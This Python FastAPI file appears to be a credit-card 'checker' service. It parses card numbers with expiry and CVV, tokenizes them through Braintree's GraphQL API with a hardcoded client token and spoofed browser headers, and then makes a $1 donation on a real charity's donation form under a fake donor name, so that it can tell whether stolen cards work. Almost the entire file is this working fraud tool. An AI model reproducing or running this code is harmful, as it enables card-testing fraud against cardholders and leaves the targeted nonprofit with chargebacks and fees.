|
|
from fastapi import FastAPI, HTTPException |
|
|
from pydantic import BaseModel |
|
|
import requests |
|
|
import uuid |
|
|
from faker import Faker |
|
|
import re |
|
|
|
|
|
app = FastAPI() |
|
|
fake = Faker() |
|
|
|
|
|
|
|
|
BRAINTREE_API_URL = "https://payments.braintree-api.com/graphql" |
|
|
DONATION_API_URL = "https://www.kiusa.org/?givewp-route=donate&givewp-route-signature=6e7056237cf4f9e3c054d7723aac17e0&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=1760437730" |
|
|
|
|
|
|
|
|
BRAINTREE_HEADERS = { |
|
|
"accept": "*/*", |
|
|
"accept-language": "en-US,en;q=0.9,ru;q=0.8", |
|
|
"authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiIsImtpZCI6IjIwMTgwNDI2MTYtcHJvZHVjdGlvbiIsImlzcyI6Imh0dHBzOi8vYXBpLmJyYWludHJlZWdhdGV3YXkuY29tIn0.eyJleHAiOjE3NjAzODAyNjYsImp0aSI6ImQ4ZTU0YWVhLTBjYWYtNDgyNy1iYzdhLTBmZGVmYmNkNjU3OSIsInN1YiI6IjkzNW16dGRndmdqNjVnbWciLCJpc3MiOiJodHRwczovL2FwaS5icmFpbnRyZWVnYXRld2F5LmNvbSIsIm1lcmNoYW50Ijp7InB1YmxpY19pZCI6IjkzNW16dGRndmdqNjVnbWciLCJ2ZXJpZnlfY2FyZF9ieV9kZWZhdWx0Ijp0cnVlLCJ2ZXJpZnlfd2FsbGV0X2J5X2RlZmF1bHQiOmZhbHNlfSwicmlnaHRzIjpbIm1hbmFnZV92YXVsdCJdLCJzY29wZSI6WyJCcmFpbnRyZWU6VmF1bHQiLCJCcmFpbnRyZWU6Q2xpZW50U0RLIl0sIm9wdGlvbnMiOnt9fQ.Upc3xPht1ZZ1mfwQlhwhasXVRdDY2Qe6He62WgJINTAQPpWH7xNGoejuSpEarooYhQI6Lo9frMq_05oxIJ9MNg", |
|
|
"braintree-version": "2018-05-10", |
|
|
"content-type": "application/json", |
|
|
"origin": "https://assets.braintreegateway.com", |
|
|
"referer": "https://assets.braintreegateway.com/", |
|
|
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" |
|
|
} |
|
|
|
|
|
|
|
|
DONATION_HEADERS = { |
|
|
"authority": "www.kiusa.org", |
|
|
"accept": "application/json", |
|
|
"accept-encoding": "gzip, deflate, br, zstd", |
|
|
"accept-language": "en-US,en;q=0.9,ru;q=0.8", |
|
|
"origin": "https://www.kiusa.org", |
|
|
"referer": "https://www.kiusa.org/?givewp-route=donation-form-view&form-id=2992&locale=en_US", |
|
|
"sec-ch-ua": '"Not;A=Brand";v="99", "Google Chrome";v="139", "Chromium";v="139"', |
|
|
"sec-ch-ua-mobile": "?0", |
|
|
"sec-ch-ua-platform": '"Windows"', |
|
|
"sec-fetch-dest": "empty", |
|
|
"sec-fetch-mode": "cors", |
|
|
"sec-fetch-site": "same-origin", |
|
|
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36", |
|
|
"content-type": "multipart/form-data; boundary=----WebKitFormBoundary6NrWWrdqTSFaZ8Wq" |
|
|
} |
|
|
|
|
|
class CardInput(BaseModel): |
|
|
card_details: str |
|
|
|
|
|
def parse_card_input(card_input: str): |
|
|
"""Parse user-provided card details in format cc|mm|yy|cvv.""" |
|
|
if not re.match(r"^\d+\|\d{1,2}\|\d{2}\|\d{3,4}$", card_input): |
|
|
raise ValueError("Invalid format. Use cc|mm|yy|cvv (e.g., 4737034069082783|05|27|713)") |
|
|
try: |
|
|
number, month, year, cvv = card_input.split("|") |
|
|
number = number.strip() |
|
|
month = month.strip() |
|
|
year = f"20{year.strip()}" |
|
|
cvv = cvv.strip() |
|
|
|
|
|
if not (number.isdigit() and 12 <= len(number) <= 19): |
|
|
raise ValueError("Invalid card number") |
|
|
if not (month.isdigit() and 1 <= int(month) <= 12): |
|
|
raise ValueError("Invalid expiration month") |
|
|
if not (year.isdigit() and len(year) == 4): |
|
|
raise ValueError("Invalid expiration year") |
|
|
if not (cvv.isdigit() and len(cvv) in [3, 4]): |
|
|
raise ValueError("Invalid CVV") |
|
|
return { |
|
|
"number": number, |
|
|
"cardholderName": "", |
|
|
"expirationMonth": month.zfill(2), |
|
|
"expirationYear": year, |
|
|
"cvv": cvv, |
|
|
"postalCode": fake.zipcode() |
|
|
} |
|
|
except ValueError as e: |
|
|
raise ValueError(f"Error parsing card details: {str(e)}") |
|
|
|
|
|
def create_graphql_payload(card_details): |
|
|
"""Create GraphQL payload for tokenizing credit card.""" |
|
|
session_id = str(uuid.uuid4()) |
|
|
payload = { |
|
|
"clientSdkMetadata": { |
|
|
"source": "client", |
|
|
"integration": "dropin2", |
|
|
"sessionId": session_id |
|
|
}, |
|
|
"query": """ |
|
|
mutation TokenizeCreditCard($input: TokenizeCreditCardInput!) { |
|
|
tokenizeCreditCard(input: $input) { |
|
|
token |
|
|
creditCard { |
|
|
bin |
|
|
brandCode |
|
|
last4 |
|
|
cardholderName |
|
|
expirationMonth |
|
|
expirationYear |
|
|
binData { |
|
|
prepaid |
|
|
healthcare |
|
|
debit |
|
|
durbinRegulated |
|
|
commercial |
|
|
payroll |
|
|
issuingBank |
|
|
countryOfIssuance |
|
|
productId |
|
|
} |
|
|
} |
|
|
} |
|
|
} |
|
|
""", |
|
|
"variables": { |
|
|
"input": { |
|
|
"creditCard": { |
|
|
"number": card_details["number"], |
|
|
"expirationMonth": card_details["expirationMonth"], |
|
|
"expirationYear": card_details["expirationYear"], |
|
|
"cvv": card_details["cvv"], |
|
|
"billingAddress": { |
|
|
"postalCode": card_details["postalCode"] |
|
|
} |
|
|
}, |
|
|
"options": { |
|
|
"validate": False |
|
|
} |
|
|
} |
|
|
}, |
|
|
"operationName": "TokenizeCreditCard" |
|
|
} |
|
|
return payload |
|
|
|
|
|
def check_card(card_details): |
|
|
"""Send card details to Braintree API and return response.""" |
|
|
payload = create_graphql_payload(card_details) |
|
|
try: |
|
|
response = requests.post(BRAINTREE_API_URL, headers=BRAINTREE_HEADERS, json=payload) |
|
|
response.raise_for_status() |
|
|
return response.json() |
|
|
except requests.exceptions.RequestException as e: |
|
|
return {"error": f"Braintree request failed: {str(e)}"} |
|
|
|
|
|
def create_donation_payload(token): |
|
|
"""Create multipart/form-data payload for donation request.""" |
|
|
boundary = "----WebKitFormBoundary6NrWWrdqTSFaZ8Wq" |
|
|
fields = [ |
|
|
("amount", "1"), |
|
|
("currency", "USD"), |
|
|
("donationType", "single"), |
|
|
("formId", "2992"), |
|
|
("gatewayId", "braintree"), |
|
|
("firstName", "Rambo"), |
|
|
("lastName", "Rami"), |
|
|
("email", "niansuhai@proton.me"), |
|
|
("donationBirthday", ""), |
|
|
("originUrl", "https://www.kiusa.org/donations/donate-today/"), |
|
|
("isEmbed", "true"), |
|
|
("embedId", "2992"), |
|
|
("locale", "en_US"), |
|
|
("gatewayData[give-braintree-drop-in-nonce]", token) |
|
|
] |
|
|
body = "" |
|
|
for name, value in fields: |
|
|
body += f"--{boundary}\r\nContent-Disposition: form-data; name=\"{name}\"\r\n\r\n{value}\r\n" |
|
|
body += f"--{boundary}--\r\n" |
|
|
return body.encode("utf-8") |
|
|
|
|
|
def send_donation_request(token): |
|
|
"""Send donation request to kiusa.org with the tokenized card.""" |
|
|
payload = create_donation_payload(token) |
|
|
try: |
|
|
response = requests.post(DONATION_API_URL, headers=DONATION_HEADERS, data=payload) |
|
|
response.raise_for_status() |
|
|
return response.json() |
|
|
except requests.exceptions.RequestException as e: |
|
|
return {"error": f"Donation request failed: {str(e)}"} |
|
|
|
|
|
@app.post("/braintree-chk") |
|
|
async def check_card_endpoint(card_input: CardInput): |
|
|
"""Endpoint to check credit card details and process donation.""" |
|
|
try: |
|
|
card_details = parse_card_input(card_input.card_details) |
|
|
braintree_response = check_card(card_details) |
|
|
token = None |
|
|
if braintree_response.get("data", {}).get("tokenizeCreditCard"): |
|
|
token = braintree_response["data"]["tokenizeCreditCard"]["token"] |
|
|
donation_response = {"error": "No token generated"} if not token else send_donation_request(token) |
|
|
|
|
|
result = { |
|
|
"card_details": { |
|
|
"last4": card_details["number"][-4:], |
|
|
"expiration": f"{card_details['expirationMonth']}/{card_details['expirationYear']}", |
|
|
"cvv": card_details["cvv"], |
|
|
"postalCode": card_details["postalCode"] |
|
|
}, |
|
|
"braintree_response": braintree_response, |
|
|
"donation_response": donation_response |
|
|
} |
|
|
return result |
|
|
except ValueError as e: |
|
|
raise HTTPException(status_code=400, detail=str(e)) |
|
|
except Exception as e: |
|
|
raise HTTPException(status_code=500, detail=f"Server error: {str(e)}") |
|
|
|
|
|
|